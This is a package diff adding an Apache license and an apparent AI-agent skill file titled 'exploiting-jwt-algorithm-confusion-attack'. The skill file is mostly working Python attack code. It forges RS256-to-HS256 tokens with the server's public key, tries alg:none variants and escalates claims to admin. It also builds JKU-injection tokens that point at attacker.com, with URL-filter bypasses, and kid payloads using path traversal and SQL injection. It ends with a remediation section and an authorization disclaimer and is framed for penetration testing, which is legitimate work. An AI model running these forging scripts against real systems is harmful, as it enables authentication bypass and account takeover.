open-sploit 1.2.0

package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md

@@ -0,0 +1,472 @@
+---
+name: exploiting-jwt-algorithm-confusion-attack
+description: 'Exploits JWT algorithm confusion vulnerabilities where the server''s
+  token verification library accepts the algorithm specified in the JWT header rather
+  than enforcing a fixed algorithm. The tester manipulates the alg header to switch
+  from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none
+  to bypass signature verification, or exploits kid/jku/x5u header injection to supply
+  attacker-controlled keys. Activates for requests involving JWT algorithm confusion,
+  alg none attack, key confusion attack, or JWT signature bypass.
+
+  '
+domain: cybersecurity
+subdomain: api-security
+tags:
+- api-security
+- jwt
+- algorithm-confusion
+- token-forgery
+- cryptographic-attack
+version: 1.0.0
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- ID.RA-01
+- PR.DS-10
+- DE.CM-01
+mitre_attack:
+- T1190
+- T1059.007
+- T1552.001
+- T1055
+- T1059
+---
+# Exploiting JWT Algorithm Confusion Attack
+
+## When to Use
+
+- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
+- Assessing JWT implementations for alg:none bypass where the server skips signature verification
+- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
+- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
+- Validating that the API server enforces a specific algorithm and does not trust the JWT header
+
+**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
+
+## Prerequisites
+
+- Written authorization specifying the target API and JWT-based authentication in scope
+- A valid JWT token from the target API (obtained through legitimate authentication)
+- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
+- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries
+- jwt_tool for automated JWT attack testing
+- Burp Suite with JWT Editor extension
+
+
+> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
+
+## Workflow
+
+### Step 1: JWT Token Analysis
+
+```python
+import base64
+import json
+import requests
+import hmac
+import hashlib
+import time
+
+BASE_URL = "https://target-api.example.com/api/v1"
+
+# Capture a valid JWT token
+login_resp = requests.post(f"{BASE_URL}/auth/login",
+    json={"email": "test@example.com", "password": "TestPass123!"})
+valid_token = login_resp.json().get("access_token", "")
+
+# Decode JWT parts
+def decode_jwt(token):
+    parts = token.split('.')
+    if len(parts) != 3:
+        raise ValueError("Invalid JWT format")
+
+    def pad(s):
+        return s + '=' * (4 - len(s) % 4)
+
+    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
+    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
+    return header, payload, parts[2]
+
+header, payload, signature = decode_jwt(valid_token)
+print(f"Algorithm: {header.get('alg')}")
+print(f"Key ID: {header.get('kid', 'none')}")
+print(f"Type: {header.get('typ')}")
+print(f"JKU: {header.get('jku', 'none')}")
+print(f"\nPayload: {json.dumps(payload, indent=2)}")
+print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
+```
+
+### Step 2: Obtain the Public Key
+
+```python
+from cryptography.hazmat.primitives import serialization
+from cryptography.x509 import load_pem_x509_certificate
+
+# Method 1: JWKS endpoint
+jwks_url = f"{BASE_URL}/.well-known/jwks.json"
+jwks_resp = requests.get(jwks_url)
+if jwks_resp.status_code == 200:
+    jwks = jwks_resp.json()
+    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
+    for key in jwks['keys']:
+        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
+
+    # Extract RSA public key from JWKS
+    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
+    from cryptography.hazmat.backends import default_backend
+
+    rsa_key = jwks['keys'][0]  # First key
+    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
+    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
+    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
+    public_key_pem = public_key.public_bytes(
+        encoding=serialization.Encoding.PEM,
+        format=serialization.PublicFormat.SubjectPublicKeyInfo
+    )
+    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
+
+# Method 2: From well-known OpenID configuration
+oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
+if oidc_resp.status_code == 200:
+    jwks_uri = oidc_resp.json().get('jwks_uri')
+    print(f"JWKS URI from OIDC config: {jwks_uri}")
+
+# Method 3: Exposed at common paths
+for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
+    resp = requests.get(f"{BASE_URL}{path}")
+    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
+        print(f"Public key found at: {path}")
+```
+
+### Step 3: Algorithm Confusion Attack (RS256 to HS256)
+
+```python
+def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
+    """
+    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
+    If the server uses a generic verify() that trusts the alg header, it will use
+    the public key as the HMAC secret, matching our signature.
+    """
+    parts = token.split('.')
+    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
+
+    # Modify payload if requested
+    if modifications:
+        payload.update(modifications)
+
+    # Create header with HS256
+    new_header = {"alg": "HS256", "typ": "JWT"}
+
+    # Encode header and payload
+    header_b64 = base64.urlsafe_b64encode(
+        json.dumps(new_header).encode()).decode().rstrip('=')
+    payload_b64 = base64.urlsafe_b64encode(
+        json.dumps(payload).encode()).decode().rstrip('=')
+
+    # Sign with HMAC-SHA256 using the RSA public key as the secret
+    signing_input = f"{header_b64}.{payload_b64}".encode()
+
+    # Use the raw PEM bytes as the HMAC key
+    if isinstance(public_key_pem, str):
+        public_key_pem = public_key_pem.encode()
+
+    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
+    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
+
+    return f"{header_b64}.{payload_b64}.{sig_b64}"
+
+# Attack 1: Algorithm confusion with same claims
+confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
+resp = requests.get(f"{BASE_URL}/users/me",
+    headers={"Authorization": f"Bearer {confused_token}"})
+print(f"Algorithm confusion (same claims): {resp.status_code}")
+if resp.status_code == 200:
+    print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
+
+# Attack 2: Algorithm confusion with elevated privileges
+admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
+    modifications={"role": "admin", "sub": "admin@example.com"})
+resp = requests.get(f"{BASE_URL}/admin/users",
+    headers={"Authorization": f"Bearer {admin_token}"})
+print(f"Algorithm confusion (admin): {resp.status_code}")
+if resp.status_code == 200:
+    print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
+
+# Attack 3: Try different public key formats
+key_formats = [
+    public_key_pem,                                    # Full PEM
+    public_key_pem.strip(),                            # Stripped whitespace
+    public_key_pem.replace(b'\n', b''),               # No newlines
+    public_key_pem.decode().split('\n')[1:-1],        # Base64 only
+]
+
+for i, key_format in enumerate(key_formats):
+    if isinstance(key_format, list):
+        key_format = ''.join(key_format).encode()
+    elif isinstance(key_format, str):
+        key_format = key_format.encode()
+
+    token = forge_hs256_with_public_key(valid_token, key_format)
+    resp = requests.get(f"{BASE_URL}/users/me",
+        headers={"Authorization": f"Bearer {token}"})
+    if resp.status_code == 200:
+        print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
+```
+
+### Step 4: Algorithm None Attack
+
+```python
+def forge_none_algorithm(token, modifications=None):
+    """Create tokens with alg:none variations to bypass signature verification."""
+    parts = token.split('.')
+    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
+
+    if modifications:
+        payload.update(modifications)
+
+    payload_b64 = base64.urlsafe_b64encode(
+        json.dumps(payload).encode()).decode().rstrip('=')
+
+    # Different "none" algorithm variations
+    none_variants = [
+        {"alg": "none", "typ": "JWT"},
+        {"alg": "None", "typ": "JWT"},
+        {"alg": "NONE", "typ": "JWT"},
+        {"alg": "nOnE", "typ": "JWT"},
+        {"typ": "JWT"},  # Missing alg entirely
+    ]
+
+    tokens = []
+    for variant_header in none_variants:
+        header_b64 = base64.urlsafe_b64encode(
+            json.dumps(variant_header).encode()).decode().rstrip('=')
+
+        # Different signature options
+        sig_options = [
+            "",                    # Empty signature
+            ".",                   # Just a dot
+            parts[2],             # Original signature
+            base64.urlsafe_b64encode(b'\x00').decode().rstrip('='),  # Null byte
+        ]
+
+        for sig in sig_options:
+            tokens.append(f"{header_b64}.{payload_b64}.{sig}")
+
+    return tokens
+
+# Test all none algorithm variations
+none_tokens = forge_none_algorithm(valid_token)
+for i, token in enumerate(none_tokens):
+    resp = requests.get(f"{BASE_URL}/users/me",
+        headers={"Authorization": f"Bearer {token}"})
+    if resp.status_code == 200:
+        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
+        print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
+
+# Test with privilege escalation
+admin_none_tokens = forge_none_algorithm(valid_token,
+    modifications={"role": "admin", "is_admin": True})
+for token in admin_none_tokens:
+    resp = requests.get(f"{BASE_URL}/admin/users",
+        headers={"Authorization": f"Bearer {token}"})
+    if resp.status_code == 200:
+        print("[CRITICAL] Admin access via alg:none bypass")
+        break
+```
+
+### Step 5: JKU and KID Header Injection
+
+```python
+import os
+
+# Attack: JKU (JWK Set URL) injection
+# Host attacker-controlled JWKS that contains our key pair
+def generate_attacker_jwks():
+    """Generate an RSA key pair and JWKS for the attacker's server."""
+    from cryptography.hazmat.primitives.asymmetric import rsa
+    from cryptography.hazmat.backends import default_backend
+
+    # Generate attacker key pair
+    private_key = rsa.generate_private_key(
+        public_exponent=65537,
+        key_size=2048,
+        backend=default_backend()
+    )
+    public_key = private_key.public_key()
+    public_numbers = public_key.public_numbers()
+
+    n_b64 = base64.urlsafe_b64encode(
+        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
+    e_b64 = base64.urlsafe_b64encode(
+        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
+
+    jwks = {
+        "keys": [{
+            "kty": "RSA",
+            "kid": "attacker-key-1",
+            "use": "sig",
+            "alg": "RS256",
+            "n": n_b64,
+            "e": e_b64
+        }]
+    }
+
+    return private_key, jwks
+
+attacker_private_key, attacker_jwks = generate_attacker_jwks()
+
+# Create JWT with JKU pointing to attacker server
+def forge_jku_token(payload_modifications, jku_url):
+    """Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
+    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
+    payload.update(payload_modifications)
+
+    header = {
+        "alg": "RS256",
+        "typ": "JWT",
+        "kid": "attacker-key-1",
+        "jku": jku_url  # Points to attacker-hosted JWKS
+    }
+
+    header_b64 = base64.urlsafe_b64encode(
+        json.dumps(header).encode()).decode().rstrip('=')
+    payload_b64 = base64.urlsafe_b64encode(
+        json.dumps(payload).encode()).decode().rstrip('=')
+
+    # Sign with attacker's private key
+    from cryptography.hazmat.primitives import hashes
+    from cryptography.hazmat.primitives.asymmetric import padding
+
+    signing_input = f"{header_b64}.{payload_b64}".encode()
+    signature = attacker_private_key.sign(
+        signing_input,
+        padding.PKCS1v15(),
+        hashes.SHA256()
+    )
+    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
+
+    return f"{header_b64}.{payload_b64}.{sig_b64}"
+
+# Test JKU injection with various URLs
+jku_urls = [
+    "https://attacker.com/.well-known/jwks.json",
+    "https://attacker.com/jwks",
+    # Bypass URL filters
+    f"{BASE_URL}@attacker.com/jwks",
+    f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
+]
+
+for jku in jku_urls:
+    token = forge_jku_token({"role": "admin"}, jku)
+    # Note: This test requires hosting the attacker JWKS at the specified URL
+    print(f"  JKU injection payload generated for: {jku}")
+
+# KID injection (SQL injection in kid parameter)
+kid_injection_payloads = [
+    "../../../../../../dev/null",              # Path traversal to empty file
+    "../../../../../../proc/sys/kernel/hostname",
+    "' UNION SELECT 'secret-key' -- ",         # SQL injection in kid lookup
+    "' OR '1'='1",
+    "../../../etc/passwd",
+    "https://attacker.com/key.pem",            # URL-based kid
+]
+
+for kid in kid_injection_payloads:
+    modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
+    header_b64 = base64.urlsafe_b64encode(
+        json.dumps(modified_header).encode()).decode().rstrip('=')
+    payload_b64 = valid_token.split('.')[1]
+
+    # Sign with the expected key material from the injection
+    signing_input = f"{header_b64}.{payload_b64}".encode()
+    # For path traversal to /dev/null, the key would be empty
+    sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
+    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
+
+    token = f"{header_b64}.{payload_b64}.{sig_b64}"
+    resp = requests.get(f"{BASE_URL}/users/me",
+        headers={"Authorization": f"Bearer {token}"})
+    if resp.status_code == 200:
+        print(f"[CRITICAL] KID injection successful: {kid}")
+```
+
+## Key Concepts
+
+| Term | Definition |
+|------|------------|
+| **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |
+| **alg:none Attack** | Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection |
+| **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |
+| **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |
+| **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |
+| **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |
+
+## Tools & Systems
+
+- **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection
+- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities
+- **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs
+- **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks
+- **jwt.io**: Online JWT decoder and debugger for quick token analysis
+
+## Common Scenarios
+
+### Scenario: Algorithm Confusion on Banking API
+
+**Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.
+
+**Approach**:
+1. Obtain a valid JWT by authenticating as a regular user
+2. Extract the RSA public key from the JWKS endpoint at `/.well-known/jwks.json`
+3. Create a new JWT with `"alg": "HS256"` header and sign it using the RSA public key as the HMAC secret
+4. Send the forged token to `GET /api/v1/users/me` - server accepts it (algorithm confusion confirmed)
+5. Modify the payload to set `"role": "admin"` and `"sub": "admin@bank.com"` - sign with the public key
+6. Access admin endpoints: `GET /api/v1/admin/transactions` returns all transaction history
+7. Test alg:none: rejected by the server (partial mitigation)
+8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection
+
+**Pitfalls**:
+- Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes)
+- Not trying multiple public key formats when the first one does not produce a valid signature
+- Assuming the alg:none defense means algorithm confusion is also mitigated
+- Not testing kid injection vectors when the kid parameter is present in the JWT header
+- Missing JKU/x5u header injection when the server fetches keys from URLs
+
+## Output Format
+
+```
+## Finding: JWT Algorithm Confusion Enables Authentication Bypass
+
+**ID**: API-JWT-001
+**Severity**: Critical (CVSS 9.8)
+**CVE Reference**: CVE-2024-54150 (related pattern)
+**Affected Component**: JWT authentication middleware
+
+**Description**:
+The API's JWT verification library trusts the algorithm specified in
+the JWT header rather than enforcing a fixed algorithm. An attacker can
+change the algorithm from RS256 to HS256 and sign the token using the
+server's RSA public key (available from the JWKS endpoint) as the HMAC
+secret. The server then uses the same public key to verify the HMAC
+signature, which succeeds, allowing the attacker to forge tokens for
+any user with any role.
+
+**Attack Chain**:
+1. Obtain public key: GET /.well-known/jwks.json
+2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
+3. Sign with HMAC-SHA256 using RSA public key PEM as secret
+4. Access admin API: GET /api/v1/admin/transactions -> 200 OK
+
+**Impact**:
+Complete authentication bypass. An attacker can forge tokens for any
+user including administrators, accessing all financial transactions,
+user data, and administrative functions.
+
+**Remediation**:
+1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
+2. Never trust the alg header from the JWT for algorithm selection
+3. Update the JWT library to the latest version with algorithm confusion protections
+4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
+5. Implement token binding to prevent forged token acceptance
+```